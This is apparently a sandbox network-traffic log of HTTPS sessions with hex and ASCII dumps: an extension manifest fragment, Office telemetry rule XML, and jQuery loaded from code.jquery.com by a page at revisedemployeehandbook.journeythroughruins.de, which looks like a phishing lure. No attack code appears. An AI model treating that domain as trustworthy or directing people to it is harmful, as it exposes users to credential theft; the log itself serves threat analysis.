2025-04-02 06:38:59 UTC	800	IN	Data Raw: 76 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 2a 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 5c 6e 20 20 20 20 20 20 20 20 7d 5c 6e 20 20 20 20 5d 2c 5c 6e 20 20 20 20 5c 22 63 6f 6e 74 65 6e 74 5f 73 65 63 75 72 69 74 79 5f 70 6f 6c 69 63 79 5c 22 3a 20 7b 5c 6e 20 20 20 20 20 20 20 20 5c 22 65 78 74 65 6e 73 69 6f 6e 5f 70 61 67 65 73 5c 22 3a 20 5c 22 73 63 72 69 70 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 6f 62 6a 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 73 74 79 6c 65 2d 73 72 63 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 72 61 6d 65 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 61 73 73 Data Ascii: ve.google.com/*\"\n ]\n }\n ],\n \"content_security_policy\": {\n \"extension_pages\": \"script-src 'self'; child-src 'self'; object-src 'self'; style-src 'self' 'unsafe-inline'; frame-src https://use.typekit.net https://ass
2025-04-02 06:38:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.17	49727	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:10 UTC	202	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:10 UTC	499	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:10 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 01 Apr 2025 23:06:39 GMT ETag: "0x8DD7171DC6A9E79" x-ms-request-id: 86ebbf9d-801e-00a3-5f95-a37cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063910Z-17cccd5449bn9hh6hC1EWRzvfg00000014z0000000007u02 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-04-02 06:39:10 UTC	15885	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2025-04-02 06:39:10 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R>
2025-04-02 06:39:10 UTC	16384	IN	Data Raw: 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 Data Ascii: $!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="
2025-04-02 06:39:10 UTC	16384	IN	Data Raw: 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 Data Ascii: <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T
2025-04-02 06:39:11 UTC	16384	IN	Data Raw: 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 Data Ascii: rsona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False">
2025-04-02 06:39:11 UTC	16384	IN	Data Raw: 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 Data Ascii: T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="
2025-04-02 06:39:11 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <
2025-04-02 06:39:11 UTC	16384	IN	Data Raw: 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d Data Ascii: </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2025-04-02 06:39:11 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d Data Ascii: <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2025-04-02 06:39:11 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49728	151.101.194.137	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:10 UTC	705	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" Origin: https://revisedemployeehandbook.journeythroughruins.de sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://revisedemployeehandbook.journeythroughruins.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:39:11 UTC	562	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Age: 1898276 Date: Wed, 02 Apr 2025 06:39:11 GMT Via: 1.1 varnish X-Served-By: cache-lga21940-LGA X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1743575951.039008,VS0,VE1 Vary: Accept-Encoding
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
